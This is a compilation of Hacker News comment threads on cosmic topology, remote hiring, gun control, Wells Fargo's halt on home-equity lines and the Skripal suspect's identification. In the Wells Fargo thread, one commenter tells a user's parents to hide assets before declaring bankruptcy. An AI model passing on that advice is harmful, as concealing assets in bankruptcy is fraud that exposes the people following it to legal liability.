What Shape Is the Universe, Closed or Flat? - <AUTHOR> https://www.quantamagazine.org/what-shape-is-the-universe-closed-or-flat-20191104/ <comment><USER2> Maybe I was way off the first time I read it, but I could have sworn that Stephen Hawking's "Black Holes and Baby Universes" already claimed, decades ago, that the universe looped like that.

If I remember right, there was some analogy likening us to ants crawling on the surface of the Earth, but I could be conflating it with something else.

</comment><comment><USER3> I read a book a long time ago (Poetry of the Universe: A Mathematical Exploration of the Cosmos, by Robert Osserman) about the shape of the universe. In it he talks about quasars. If you observe 2 of them in opposite directions, each 13 billions light years from earth, then they must be 26 billion light years from each other. But the universe is only a little less than 14 billion years old so how can this be? He argues that the universe must be a hypersphere.

I read this more than 20 years ago, and I'm no cosmologist, so forgive me if I butchered that summary.

<comment><USER4> But that's not the only explanation. If you strech space in each direction you get the same effect.

If you have a baloon with a band attached to two opposite points on it's surface and blow the ballon, the distance between points (the band length) on the surface will change 2 times as the distance from the middle. Moreover, if you place some markers on the band the distance between them will also strech. You get that effect in plain Euclidean 3d space. It's not that surprising even for nice orthogonal geometry.

</comment></comment><comment><USER5> Time for Einstein Gravity Probe C.

Einstein suggested we could directly measure the curvature of the universe by comparing distances between probes located at angles to each other.

They would need to be pretty far apart from each other for this to work, but they can be very small: just an RTG and an antenna.

So hopeful light enough to build up an enormous velocity.

<comment><USER6> Not remotely feasible. The overall curvature of the universe is swamped by local inhomogeneities until you get to scales that are much larger than galaxies. So you'd only be measuring the curvature due to nearby matter unless you had proves traveling at relativistic speeds and were willing to wait millions of years.

<comment><USER7> If you know mass distribution between and around probes, could you account for it? or is it a case where we can only know the mass distribution by observing the curvature?

<comment><USER8> We cannot know the mass distribution that well. We arent even sure about planet-9, let alone things like dark matter halos.

</comment></comment></comment></comment><comment><USER9> Seems like it would have to be open since the boundaries are permanently expanding. The set can't contain its accumulation points if new points will always be created. Granted, infinite sets like aleph-0 and -1 are typically considered both open and closed, iirc. Been a while since I took topology.

<comment><USER10> I'm pretty sure when the article says 'closed' the really mean 'compact' in the topological sense.

If you have a topological space, the entire space is always both open and closed. [https://en.wikipedia.org/wiki/Topological_space#Definition_v...](https://en.wikipedia.org/wiki/Topological_space#Definition_via_open_sets)

<comment><USER11> "Closed manifold" means compact with boundary. I think physics might also just mean something with positive "Ricci curvature". Certainly closed 3-manifolds are all equivalent to 3-spheres [0]. I think 4-manifolds are more complicated?

In relativity, the idea is all time-like (basically path of ordinary matter) curves will all converge, while the other case, time-like curves always diverge (so open).

[0] [https://en.wikipedia.org/wiki/Poincaré_conjecture](https://en.wikipedia.org/wiki/Poincaré_conjecture)

<comment><USER12> Typo: a "closed manifold" is compact _without_ boundary.

The Poincaré conjecture states that closed _simply connected_ 3-manifolds are all diffeomorphic to the 3-sphere. Even stronger, every closed 3-manifold whose fundamental group is finite is a quotient of the 3-sphere by a discrete subgroup of its group of isometries, SO(4) (called the _elliptization theorem_ , which is what Perelman proved). I've been told some astronomers once looked into whether the cosmic background radiation suggested that we lived in Poincaré dodecahedral space.

Thurston's geometrization conjecture (all proved as of 2012) is that all closed 3-manifolds can be built out of certain 3-manifolds with standard Riemannian geometries by gluing them together along their torus boundaries and by introducing wormholes, essentially. Some interesting cases are the spherical geometries (constant positive curvature, classified above) and hyperbolic geometries (constant negative curvature, also classified by Perelman). The only actually flat closed 3-manifolds are the 10 finite-order mapping tori of the torus -- one example is S^1 x S^1 x S^1, where the 3-dimensional version of the game Asteroids would be played.

There are infinitely many closed hyperbolic 3-manifolds. I don't understand why space can't be negatively curved.

Jeff Weeks has a cool program for flying through different spaces: [http://geometrygames.org/CurvedSpaces/index.html](http://geometrygames.org/CurvedSpaces/index.html)

4-manifolds are definitely more complicated. Lots of techniques that work for 3-manifolds and (5+)-manifolds don't work.

</comment></comment></comment></comment><comment><USER13> The bubble shape makes much more sense to me than the linear plane shape. Whatever the truth is, the most accepted model today is most likely wrong;

</comment><comment><USER14> Atheists are going to have a hard time if it turns out the Universe is shaped like a giant Pikachu :-)

Some models suggest our universe is just one "foam-bubble" in a big ocean of universes. Hell, the mole on your face may contain its own universes. It really could be "turtles all the way down", or Pikachus all the way down.

[https://www.vice.com/en_us/article/j5yngp/the-universe-is- ma...](https://www.vice.com/en_us/article/j5yngp/the-universe-is-made-of-tiny- bubbles-containing-mini-universes-scientists-say)

Because of our Earthly experience, we tend to assume there's an absolute limit to the quantity of "stuff", but perhaps that's not true: there is infinite stuff, we just can't touch most of it.

<comment><USER15> What's up with the Pikachu references? I don't get the joke.

<comment><USER16> The universe is the dream of an enormous sleeping Pokémon called Slumblord. If it should ever wake, all of our reality will disappear in an instant and be forgotten.

"Worship not God but Regigigas, on whom the world rests."

— Henry David Thoreau</comment></comment></comment>


Ask HN: Where to post a remote job? - <AUTHOR>

I have headcount for 1-2 remote developers. What's the best job board to post that kind of job? The ideal candidate is a strong .NET/Java developer that prefers the work from home lifestyle. He/she ideally lives in the US in a lower cost area so the salary/cost of living ratio will be favorable. We're located in Seattle where cost of living is absurd!. The position will start out as a few projects and lead to a full-time position. <comment><USER2> [https://weworkremotely.com/](https://weworkremotely.com/) might not be a bad option - not sure how the traffic is, but ad placement is inexpensive, and its only for remote jobs.

</comment><comment><USER3> I'm a .NET Developer,but I'm in Mexico :(</comment>


The Case for More Guns (And More Gun Control) - <AUTHOR> http://www.theatlantic.com/magazine/archive/2012/12/the-case-for-more-guns-and-more-gun-control/309161/1/?single_page=true <comment><USER3> I normally might flag something like this, but there's an important point in here that has to do with our relationship to technology.

Guns fill a role in society that allows any person, no matter how weak, to execute deadly force against another. For many, this is the height of idiocy. Why would we allow individuals to have such power?

But technology is doing the same thing that guns do -- it's giving every person unprecedented power over his fellow man. DDOS attacks can bring down banks. Bio-research could unleash a deadly plague. As technology increases, the powers that one person has continue to grow.

So the issue of gun ownership is the same issue as freedom in technology. How much power should one person have? Every time somebody commits a crime on the internet, we're going to hear the same cries: why should individuals have so much power over others?

I don't have a facile or slogan-worthy answer. As a libertarian, I always want to err on the side of empowering individuals. But I can see a powerful argument to continue to take freedoms away from all of us. The issue of gun control was just the first shot fired in the larger war that is now upon us.

<comment><USER4> > Why would we allow individuals to have such power?

Who is this "we" that has either the power, right, or wisdom to overrule people on such things?

> So the issue of gun ownership is the same issue as freedom in technology

Wonderfully said.

Power is a zero-sum game. Either I have the right to { own a gun | duplicate a file | mix acid and water in a test tube | print a part on a 3-d printer } or someone else takes that right from me and holds it themself.

There are wonderful deontological arguments as to why it is wrong to take rights away from me (or you, or you, or you), but even at the utilitarian level: why should we expect better outcomes if a right is removed from individual A and given to individual B? Was Germany better off when the Jews and Gypsies had their right to firearms ownership transferred to the state? Was China better off under Mao when individuals had their right to plant, grow, harvest and sell their crops transferred to the state? Was the United States better off when each person had their right to make decisions about alcohol consumption taken away and transferred to the state?

I argue that restricting rights is wrong on both deontological AND utilitarian grounds.

The utitarian argument for these sorts of things tends to be "give me the power, and I'll make better decisions". The incentives don't usually support the fulfillment of that promise.

<comment><USER5> > _"Who is this "we" that has either the power, right, or wisdom to overrule > people on such things?"_

The same "we" that has existed since the beginning of our species, when groups of humans decided to live together.

"We" is an expression of _all people_ \- not biased by East or West, Black or White. In _all_ societies the price of living in a group, and enjoying the benefits thereof, are concessions to personal freedom, and the recognition of some authority that is capable of making the decision.

It's also important to note (because it's so frequently confused) that "we" is not necessarily a government. In the absence of a government, "we" will manifest itself in other formats, most frequently tyrannical.

The only way for you to extricate yourself from this (by your implication, malevolent) "we" is to live entirely without dependency on any semblance of society.

<comment><USER6> And the difficulty is in determining the limitations that we allow the "we" to impose on the individual. In most cases agreement is easy to achieve, but in some cases there is a difference of opinion that is insurmountable. Without the possibility of agreement, it may be that the only option is to separate the group into those that believe option A and those that believe option B. Then individuals can move into whichever group fits their beliefs. This would be an iterative process.

Given the way that humans have handled one group separating into another, I think this might be a devastating experiment to try. But in theory, it seems plausible that after a number of iterations you would belong to a group that fits your ideals perfectly.

</comment></comment></comment></comment><comment><USER7> The question posed at the end was interesting. The interviewer said he had asked a number of people associated with horrible shooting sprees like Columbine and Aurora if they would have rather have had a gun, and many say "no." Jonathan Rauch responds with: "Maybe the right question to ask that person was, 'would you have liked someone else ... someone who is comfortable with guns ... to have had a gun in that situation?' ... I think you'd get a different answer."

</comment><comment><USER8> HN is a pretty cold, logical place, so while the topic's raised, I'd like to ask a question:

A year or so ago I watched a 60 minutes segment on so-called "sovereign citizens." The segment made them out to be relatively deranged, on my own cursory research supports this.

One part DID stick in my mind, though: in an interview with someone with weak ties to the movement (I believe a radio host?), the interviewee said something akin to: "The Second Amendment is not so that we can go duck-hunting." I took this to mean, (and in light of the circumstances around the American Revolutionary War, I think there's a strong case to be made) that the Second Amendment was _specifically intended to protect the possibility of armed rebellion._

This is a fairly out-there idea, but then, it's called "Revolutionary" for a reason.

However, when I hear debates about gun control, this context seems to be missing. Is it such a...well...revolutionary concept that we now shy away from it? Or am I completely misunderstanding something?

<comment><USER9> That's the point. It's not an out-there idea.

The Constitution was written by people who had taken arms against a government. It's reasonable to infer that they thought doing so was important and might be necessary in the future.

<comment><USER8> Thanks to all who've replied. I'm glad to hear confirmation. But I don't get the sense that this point is present even implicitly in the gun control debate. If the power to rebel is what's being protected, why limit assault weapons? Is an armed populace seriously supposed to take on the army with handguns?

I worry thatI might be coming across as a sock puppet with an axe to grind, so maybe I should take this question somewhere else. I'd be interested to hear any and all responses though; thank you in advance.

<comment><USER10> An intent-of-founders-based reading of the 2A would seem to support ownership of military weapons more than handguns or hunting weapons. There are several groups (GOA, vs. NRA) who support this. Yes, I think the "Sovereign Citizen" people on TV tend to be loons, but that doesn't mean everything they believe is necessarily unreasonable.

(Personally, I think our experience in Iraq shows that any real insurgency or attempt to overthrow a government would take the form of "fuck guns, bring IEDs". Most of the time, an insurgent would actually want to be unarmed entirely so as to blend in with the population. It might sometimes be worth having offensive weapons for specific tasks, but generally unless it was truly open warfare on every citizen, you would want to blend in. Small arms, especially personal weapons vs. crew-served, are basically defensive weapons, or are used to fix the enemy in place for larger weapons to destroy.)

<comment><USER8> Thanks for taking the time.

</comment></comment></comment></comment></comment><comment><USER11> Urban dwellers are about as qualified to talk about guns as rednecks are to talk about affirmative action in Ivy league schools. For both good and bad. While everyone has a right to an opinion, the opposing sides of each issue view the other side with Ad-hominem dread. And while we should not pre-suppose from where the best ideas will come from, the fact of the matter is that neither side is likely to really respect the opinions of the other either. In the absence of true dialogue, the options are (1) do nothing; and (2) steam- roll the otherside, not taking their view into consideration. Arguably (1) is both easier and more intelligent, in that is likely to be "less wrong".

</comment><comment> k-mcgrady > "According to a 2011 Gallup poll, 47 percent of American adults keep at > least one gun at home or on their property, and many of these gun owners are > absolutists opposed to any government regulation of firearms. According to > the same poll, only 26 percent of Americans support a ban on handguns."

This amazes me. I wonder how many of those 47% have had training? Or how many regularly practice firing the gun? This is one of the main reasons I'm opposed to people being allowed to own guns. Most probably don't know how to use them and in a situation where the weapon could be useful an untrained person will probably make the situation worse either by shooting another civilian or losing their cool and firing the gun and making a situation worse (e.g. in a robbery where everyone could come out safe if the thief gets the money - <USER2> some idiot with their own gun decides they will 'save the day', the thief freaks out and suddenly their are dead people).

Another reason I think guns should be make illegal in the US is the incredibly obvious evidence throughout the world that easier access to guns leads to more gun related crime. Coming from a country where guns are illegal it's very rare to hear or anyone being shot dead. Violent criminals obviously turn to other weapons such as knives but I would rather be up against a man with a knife than a man with a gun.

<comment><USER12> I am willing to bet a _very_ sizeable percentage of that 47% fall into a _"Has a shotgun in the attic which they were given 20 years ago and forgot about. Does not own any ammunition."_ category, or similar.

Still going to be a very large number that are more "active" gun owners, but I think 47% is likely something of an overstatement.

<comment><USER10> I could train someone with no prior knowledge of firearms, who was fairly intelligent, responsible, etc. to use a shotgun effectively for home defense in about 15 minutes on a range, and maybe an hour or so on use of force/escalation of force at a table. That's both the most morally defensible firearm ownership and the most likely positive use for a firearm, at the lowest overall cost (risk, financial cost, training time, etc.).

Concealed carry of a handgun, use outside the home, precision rifle, etc. would be a lot harder, but I'd be quite happy if most people just learned minimal home defense with a shotgun and nothing more.

<comment><USER12> Certainly shotguns are good for that. Most people I know that own guns were given shotguns (usually as wedding gifts or whatnot) for that reason. The only two firearms that I know of in my extended family are gifted shotguns in a locked gun-rack with a trigger lock and no ammunition. And my extended family is pretty much a bunch of hawks... Most firearm ownership in the States is similar to this I think. Both sensible and safe.

When we hear figures like 47% ownership, we may tend to think that all of that 47% is of the irresponsible sort that news stories eventually are made about. The reality is very boring and mundane though.

</comment></comment></comment></comment><comment><USER13> Feels like a cheap solution, there is countries where guns are very hard to get, and in those countries guns are way less used in crimes compared to USA for example. This will result in even more guns and probably a even bigger problem in the future.

<comment><USER14> On the contrary, the cheap solution is "assume there's a way to make guns hard to get in America. See, isn't that better?" Yes, maybe it would be better, but you assumed away the hard part.

There are already 300 million guns in America, and a deeply entrenched culture in favor of keeping them. That is the initial condition we have to work with. Saying "just be more like country X" isn't a solution at all.

<comment><USER13> Totally true, one solution though could be to pay people to turn in guns, this won't work in practice probably though.

<comment><USER14> Local police departments do gun buybacks all the time in the US. [https://www.google.com/search?hl=en&gl=us&tbm=nws...](https://www.google.com/search?hl=en&gl=us&tbm=nws&q=gun+buyback)

Sometimes with amusing results: [http://www.ammoland.com/2011/03/29/pro-gun- activists-outbid-...](http://www.ammoland.com/2011/03/29/pro-gun-activists- outbid-police-in-gun-buy-back/#axzz2Du9Tnoql)</comment></comment></comment></comment>


Wells Fargo temporarily suspending applications for home-equity lines of credit - <AUTHOR> https://www.wellsfargo.com/equity/line-of-credit-details/ <comment><USER2> The significance of this announcement (and why I am assuming OP posted it), is not to let us know that we can't get home equity lines, but instead showing it as a signal that one of the largest mortgage providers in the world is worried about future home/land values.

Remember that Wells Fargo is the 26th largest corporation in the world. They have plenty of money. They have lots of smart people (insert your "stupid banker" joke here) working for them. They have lots of highly-paid analysts that make these decisions. These are not spur-of-the-moment, panic-induced decisions. Wells Fargo also has a lot of experience with home values and mortgages, by being the largest Home Mortgage provider in the US (by dollar value), with $126B in home loans [1].

Long story short, they are experienced in home values and mortgages and they have a lot riding on them. They have smart people that have looked at the current and future state of home values and decided, that despite the potential revenue that could be generated from Home Equity Lines, there is too much risk in offering this product and they will stop offering it until further notice.

That's a big deal. Wells Fargo is leaving lots of money on the table by NOT offering these. But their analysts have decided that it is too risky. That to me, means that there is a lot of concern over future home value. We have been living in a housing bubble for a while. We all know it, Wells Fargo knew it, and this could be a signal that at least Wells Fargo is concerned that the bubble might be popping.

(I personally hate Wells Fargo, but did have a Home Mortgage through them until about 3 months ago when I sold my last home. I wouldn't borrow from them again however. This isn't a fanboy piece, but it is important to acknowledge their strengths when looking at signals like this).

[1] - [https://www.housingwire.com/articles/41539-here-are-the- top-...](https://www.housingwire.com/articles/41539-here-are-the- top-10-lenders-dominating-the-mortgage-market/)

<comment><USER3> I don't see this as a direct bet against home values, but rather a bet against employment and on turmoil.

WF may be seeing tons of applications for home equity lines in order to backstop failing households. If they're not sure that they'll get paid back, then WF won't want to make the loan.

I once was involved with corporate loan negotiations where the lender could have easily taken the borrower up on a proffered deal, but the fate of the borrower's company would have been sealed on the day the loan was signed. The terms were such that the borrower's odds of being able to repay the loan were <10% and the collateral requirements were at least twice the loan amount. The lender would have roughly doubled their money at the expense of a headache, but chose to walk away instead. The borrower would have taken the deal at almost any price. In the lender's words, "We're in the loan business, we want to make loans where people can pay interest."

My thank-you letter to the lender for walking away was one of the first they'd ever received.

<comment><USER4> I can't parse from this why you'd turn down a 100% return - it sounds like the implication is the headache of collecting is too annoying, but that's not a very rational approach

<comment><USER5> Potentially two reasons:

\- First is the moral/ethical reason - it doesn't matter your religion or lack thereof, causing someone to crash and burn, causing unemployment, and generally ruining lives is bad.

\- Second is their business. Banks are in the lending business. Unless the collateral was cash or stocks (unlikely based on explanation), they'd have to figure out how to repossess and then dispose of the assets. Yes, they probably have a group that handles that sort of thing but you're introducing unnecessary headaches.

Either way, walking away sounds like the right and good call.

<comment><USER6> There's also risk involved in taking possession of collateral. If you've written a loan such that collateral is 2x the loan amount, but then all potential buyers of the collateral fall on similar hard times such that you have to sell it at 10 cents on the dollar, then you've still lost 80% of your loan value. Prices aren't static, and they reflect what's going on in the market at any given moment. If the market basically evaporates right as your loan comes due, then the value of your collateral isn't what it was when the loan was written, it was what it is when the loan defaults.

<comment><USER5> Good point. I bet that "prime retail space" in January is looking more like a liability than an asset right now. Thanks for getting me to be more pessimistic. ;)

<comment><USER7> Retail real estate doesn't look anything like home real estate financially, which is why it does "weird" things compared to homes, such as leaving units empty for months in desirable areas.

The core of it is how commercial real estate is financed; it's financed on a rolling basis rather than a 1 time mortgage, like a home. This means that rather than revenue most commercial real estate owners are more concerned about what their next financing round will look like. For reasons I cannot explain, bankers care less about the rent a building does receive than they care about the rent it _could_ receive. This incentivizes building owners to leave units empty rather than lower rates, as it actually ends up significantly cheaper for them in the long run.

</comment></comment></comment></comment></comment></comment></comment><comment><USER8> It's also the fun part about credit.

When you don't need it, it is real easy to get.

When you need it, it is real hard to get.

This is why $1 in the bank is worth so much more than $1 in credit that you can maybe draw on. Especially lines of credit that can be called in.

<comment><USER9> Two years ago someone I know was laid off. After a three-month climb to find a new job, they vowed to put together an emergency fund. After a sudden drop in rates, they took out a small cash-out refinance. Luckily they still have a job, but the fact that they now have that cushion puts their mind at ease.

Lesson learned: take advantage of cheap credit while you can.

<comment><USER10> That seems like more of a roll of the dice....

If they're capable of paying back that refinance ... probably could have just saved.

I suppose there is a little window of time where it is advantageous if they're laid off again, that seems more like random chance.

<comment><USER11> They got cash while it was easy and certain. Accumulating it slowly would be as uncertain as their employment and expenses, and the option of borrowing later when they really need it may not be available. I can see how it might have been a logical choice for them.

</comment></comment></comment></comment><comment><USER12> This is not unexpected. JPMC halted home equity origination a week ago. This debt is kept on a bank's books (and not government backed like mortgages), they're limiting exposure during macroeconomic distress.

Do a cash out refi if you need to tap your equity.

<comment><USER13> They are preparing for a drop in land prices.

Also presumably anyone applying for a HELOC right now is doing so to tide them over, and banks reason that many will just burn through the debt and then default with less equity.

<comment><USER14> Slightly unrelated but my guess is that we will see a flight out of urban areas as working remotely becomes significantly more prevalent. People will realize that they can't justify the insane prices, traffic, crime etc. in large urban areas. Smaller cities and remote communities will see an influx of new residents and home and land prices will increase in those areas.

<comment><USER13> The problem is people with kids need access to good schools. Even if "good" is just "perceived as good by the next rung on the ladder, for entrance requirements".

These are typically available only centrally.

<comment><USER12> Some people do. Some people with a stay at home parent homeschool. I don't want my kids going to subpar public schools, so would rather have their education happen at home, which allows us to live anywhere with my remote job.

A counter point to your central schooling argument is Chicago Public Schools, which are terrible.

<comment><USER15> Is the person homeschooling your child more of a subject matter expert in all of the areas that the public school teaches? Many parents have found out first hand that they either didn't know what they were doing or weren't patient enough to teach their own kids.

<comment><USER16> >subject matter expert

I think you're overestimating the amount of background knowledge the average tech worker might need to make up to teach elementary and high school subjects from text books.

People TA entire college classes with the same amount (0) of experience.

<comment><USER15> I took plenty of math classes in high school and college over two decades ago. I look at the average Trig problem and I didn't know where to start helping my son. I ended up FaceTiming my mom who is a retired high school math teacher. I also have an aunt - a retired high school science teacher - I could call. But how many people have those resources at their beckon call?

<comment><USER16> >I look at the average Trig problem and I didn't know where to start helping my son.

Did you try reading the text book? It's made for children. It's high school math. I cannot understand this mindset but I fear it is extremely common and our society is in trouble for it.

<comment><USER15> Yes we are in trouble because we have this thing called specialization of labor. I learned how to develop software so I could live in the big house in the burbs with the good school system and took advantage of knowing the right people with the right set of skills to help me in other areas. I also shockingly don't cut my own grass, do my own plumbing or fix my own cars.

<comment><USER16> >I also shockingly don't cut my own grass, do my own plumbing or fix my own cars.

I do, and you should too. These things are not difficult to learn. Moreover they are good full body workouts and, speaking from experience with my father, can be excellent bonding experiences.

But that's beside the point. You're relying far too much on others if you've lost the ability to spend 5-20 minutes reading one chapter in a _children 's_ textbook for a chance to educate and bond with your child.

If you can learn a new programming language or framework without someone holding your hand, you can do this basic stuff. I think people either underestimate themselves or they're willing to go to great lengths to justify their laziness.

<comment><USER15> _I do, and you should too. These things are not difficult to learn. Moreover they are good full body workouts and, speaking from experience with my father, can be excellent bonding experiences_

I'm sure there are dozens of things we pay for everyday that are not too difficult to learn. In business, you choose between your core competencies and what is best to outsource - your typical build vs buy decisions. Even while developing you choose when to use third party frameworks and what to build yourself.

I'm not in Silicon Valley I am just in big city USA so I am in no way bragging. But by specializing in software development, that affords me the big house in the burbs, that also allows me to pay other people to cut my grass while I exercise in the comfort of my fully equipped home gym in the air conditioning.

* If you can learn a new programming language or framework without someone holding your hand, you can do this basic stuff. I think people either underestimate themselves or they're willing to go to great lengths to justify their laziness.*

I learned it the first time 20+ years ago, I have no doubt that I could relearn it - especially with the help - but everyone chooses how to optimize their time? Is my time spent better learning trig or doing something that can make me more money so I can cash flow his way through college?

<comment><USER16> >I learned it the first time 20+ years ago, I have no doubt that I could relearn it - especially with the help - but everyone chooses how to optimize their time? Is my time spent better learning trig or doing something that can make me more money so I can cash flow his way through college?

We're talking about a pandemic where some degree of homeschooling has become mandatory. I'm just pointing out that the difficulty is minimal when it's a question of educating your kids. Our specializations are irrelevant.

The rest, which is a different subject, just boils down to our difference preferences - I prefer to spend my spare time practicing practical skills and I think society would be far better off if other people did too. Even fixing cars gives your mind a technical workout that translates to other domains.

<comment><USER15> _Even fixing cars gives your mind a technical workout that translates to other domains._

Or I could spend the time improving in the technical domain directly by bringing my laptop to the service department instead of fixing a car where they have people who can do it faster with better equipment and somehow hope that it will make me a better developer, team lead, overpriced consultant or whatever rabbit I'm chasing at the time.

I'm sure the farmer would also look in disdain because you don't grow your own food and instead go the grocery store.

</comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER17> there are alternatives to believing that the value of the entire housing market is going to drop:

1\. your last N years of work/credit history are currently less predictive about future income/repayment ability than banks would like. regardless of who you are.

2\. even if the same amount of money continues to chase the housing market, there is (as some other comments mention) at least a little bit of a reason to believe that the money might want to move to different geographic areas. if you don't know what that change will look like, your ability to predict future home values is reduced.

</comment><comment><USER18> Sure there is market uncertainty, but that changes qualification criteria not the willingness to lend. I wonder if this announcement has more to do with the PPP fiasco in the banking world. I applied for an SBA loan the day before the PPP was released and my bank said basically "sorry, we're doing nothing but PPP for the next 5 weeks".

</comment><comment><USER19> My parents took out a home equity loan in 2013 and are still buried by it, any recommendations here for how they can best service or refinance the loan?

<comment><USER20> Wait until their house is worth less than the debt. Hide their assets, bail on the house, declare bankruptcy.

<comment><USER21> I'm sure you're getting downvoted because people think this is immoral, but this is absolutely the smart move. Rich people and corporations have done a great job leveraging the natural tendency of people to feel guilty about abandoning their debt obligations, but rich people and corporations do this constantly as a matter of course.

If you're ever deep in over your head financially, the smartest thing to do is to walk away. A mere year or two after filing bankruptcy, you can easily repair your credit to the point that you can get a mortgage or auto loan at a reasonable rate. Within seven years, bankruptcy or not, abandoned debt is off your credit history. Why suffer for a decade treading water paying down interest and penalties with no hope of ever getting rid of the principal if you can just hit reset?

I'm not saying it's right to rack up enormous debt on purpose and walk away when you have the means to pay, but people literally kill themselves from stress and suicide when they can just stop paying. If you tried to do the right thing and through no fault of your own (illness, injury, massive global disruption in the economy) you find yourself in an insurmountable position, don't feel bad. Just say no.

<comment><USER20> The way I see it the buyer and the bank made a bet on the value of the house and the buyer's ability to pay. Sometimes bets don't pan out. We're trained to be emotional about it, but the bank certainly isn't. To them it's "just business" when they foreclose on a struggling family. Similarly, it should be "just business" if you bail on bad debt.

<comment><USER2> I actually really like that analogy. I can't tell you how many times I have seen comments on Personal Finance subreddit and other places that always criticize banks for being ready to foreclose on a home with no concern for the people that live there.

Of course they do, you are just a blip on the bank's radar. The decision to foreclose is a matter of business to them. So why can't borrowers do the same thing and essentially "foreclose" on the bank? Foreclosure is literally just cutting your losses. That's what the banks do all the time, so if they can do it, then why can't borrowers do it too? It is an excellent perspective.

<comment><USER22> Does the bank not come after individuals years later for owed debt via lawsuit? If not, walking away seems like a good idea.

<comment><USER23> If you have a non-recourse mortgage, the bank is entitled only to the collateral (the house). Several states allow only non-recourse mortgages.

[https://www.quickenloans.com/learn/the-difference-between- re...](https://www.quickenloans.com/learn/the-difference-between-recourse-and- nonrecourse-loans)

</comment></comment></comment></comment></comment></comment></comment><comment><USER24> How much of this is market forces in general, and how much of it is market forces combined with Wells Fargo's balance sheet limits that it has because of past misdeeds.

</comment><comment><USER25> would you loan money into this kind of uncertainty? i think this is a very rational decision for a bank to take.

(hate for the banks aside, i would do the same thing..)

<comment><USER26> Into the general economic uncertainty? Sure, for the right price. I think it's possible at this point to make reasonable predictions about how bad things are likely to get. Their action seems to imply they think the real estate market is _particularly_ uncertain - that they can't put a useful lower bound on housing prices.

<comment><USER27> The cynic in me is thinking that Wells Fargo is doing this to force foreclosures. Do you really think that real estate is going to drop by 80%?

</comment></comment></comment><comment><USER28> Well, that's unfortunate but understandable. It seems like the Fed should be buying up home equity loans, to offload the risk?

A universal basic income would be best, but short of that, more consumer loans would be useful. And better if they only need to be paid back when you're making money.

</comment><comment><USER29> This makes perfect sense. Why let people get deeper in debt and risk their houses?

<comment><USER30> This has nothing to do with protecting customers. People should be allowed to do, almost, whatever dumb things they want with their money. This is about protecting the bank's balance sheet.

<comment><USER31> >People should be allowed to do, almost, whatever dumb things they want with their money.

Are you saying that a bank should make irresponsible loans for people that make irresponsible decisions?

<comment><USER27> I'm not convinced that taking out a HELOC now would be irresponsible in all cases. Let's say that you are 80% into your mortgage. You lost your job in March bc of COVID-19. Your next three mortgage payments are coming due in June and you still don't have an income. A HELOC would be a good way to push off a foreclosure. If you can't come up with those 4 months of mortgage payments you will be giving up the 60% equity you built up in your home.

</comment></comment></comment></comment><comment><USER32> This follows a similar move by JP Morgan Chase:

> Due to the economic uncertainty created by COVID-19, we're temporarily not > accepting applications for new home equity lines of credit (HELOC). This > will protect both you and the bank.

[https://www.chase.com/content/chase-ux/en/personal/home- equi...](https://www.chase.com/content/chase-ux/en/personal/home- equity/update)

From Wikipedia:

> A HELOC differs from a conventional home equity loan in that the borrower is > not advanced the entire sum up front, but uses a line of credit to borrow > sums that total no more than the credit limit, similar to a credit card. > HELOC funds can be borrowed during the "draw period" (typically 5 to 25 > years). ...

[https://en.wikipedia.org/wiki/Home_equity_line_of_credit](https://en.wikipedia.org/wiki/Home_equity_line_of_credit)

This has two main implications:

1\. Two major banks are now worried about consumer solvency (and/or real estate prices) to the degree that they're forgoing HELOC origination profits across the board. An alternative response could have been to simply raise interest rates on these loans. The fact that the loans were suspended suggests a lot more afoot than meets the eye. Those suggesting to "cash-out refi instead" may be surprised to find in the coming weeks that these loans have also been terminated, or saddled with terms that make them unattractive.

2\. Consumers who were planning to tap home equity to pay for monthly expenses will not be able to do so.

This could spell a lot of trouble moving forward. US consumers view their homes as a kind of ATM, dispensing dollars on demand through HELOCs. That money can be used for literally anything.

Without an easy source of credit to tap, where will the American consumer turn? In increasing order of existential risk:

1\. Sale of big-ticket property (houses, boats, cars, cutting short college degrees).

2\. Credit cards

3\. Payday loans

4\. Default on other loans

5\. Bankruptcy protection

These options magnify bad decisions made in the past. Selling big-ticket items drives down the market price of the underlying assets, which leads to more distress, and so on.

Credit cards and payday loans charge indefensibly-high interest rates that can easily lead consumers further down the ladder of insolvency.

Bankruptcy filings destroy money by wiping loans off the balance sheets of banks. Banks respond by tightening lending standards, which drives the cycle further down.

How will employers likely respond?

1\. Hiring freezes

2\. Pay cuts (nominal or real, through increased employee contributions to health care plans)

3\. Bankruptcy

All of these things, from stress on consumers to pressure on businesses, are deflationary. Expect the value of cash to increase compared to the value of stuff.

How to approach what lies ahead? If you're in debt, get out now. Then stay out. Deflation wipes out debtors as they're forced to pay back loans with ever-appreciating dollars.

</comment><comment><USER33> Interesting. This kind of resembles the crisis of 2008, when banks have produced too many subprime loans. It looks like WF tries to get them off their books while it still can. Or at least not make new ones.

<comment><USER34> Not in any way does this resemble 2008. WF is not originating _new loans_ because essentially _all_ consumers suddenly have terrible looking credit and WF doesn't want to take on that risk.

<comment><USER35> Consumers have normal looking credit because the credit scores are lagging behind. It's smart to wait until the credit scores actually reflect reality instead of showing a rosy picture right before everyone starts defaulting at the same time.

<comment><USER34> I think we agree but I was less clear than I could have been in the grandparent comment. When I say "consumers suddenly have terrible looking credit," I don't mean FICO credit scores. Those remain, as you suggest and I agree, mostly unaffected, as they are a lagging indicator.

Banks are not fools, however, and they understand that there is more to consumer credit risk than FICO scores, especially in this kind of turmoil and economic contraction.</comment></comment></comment></comment>


Skripal Suspect Boshirov Identified as GRU Colonel Anatoliy Chepiga - <AUTHOR> https://www.bellingcat.com/news/uk-and-europe/2018/09/26/skripal-suspect-boshirov-identified-gru-colonel-anatoliy-chepiga/ <comment><USER2> Outstanding work.

Now it is interesting to go back and look at the PR campaign and all the disinformation pushed to deflect and cover it up.

The RT channel's interview with the "gay Russian tourists" was precious.

[https://www.rt.com/news/438356-rt-petrov-boshirov-full- inter...](https://www.rt.com/news/438356-rt-petrov-boshirov-full-interview/)

> You know, let's not breach anyone's privacy. We came to you for protection, > but this is turning into some kind of an interrogation. You are going too > far. We came to you for protection. You're not interrogating us.

And you can almost see through the logic - "Hmm, the West sympathizes with gays so why don't we insinuate you are gay and then they'll feel sorry for you and forget about you being GRU agents assassinating people".

<comment><USER3> As I read (forget the source) the purpose of insinuating they were gay had to do with convincing Russians they weren't military officers. Because apparently in Russian society it is unthinkable that a military officer would be gay, so if they convince Russian citizens they are gay that also convinces them that they can't be GRU officers.

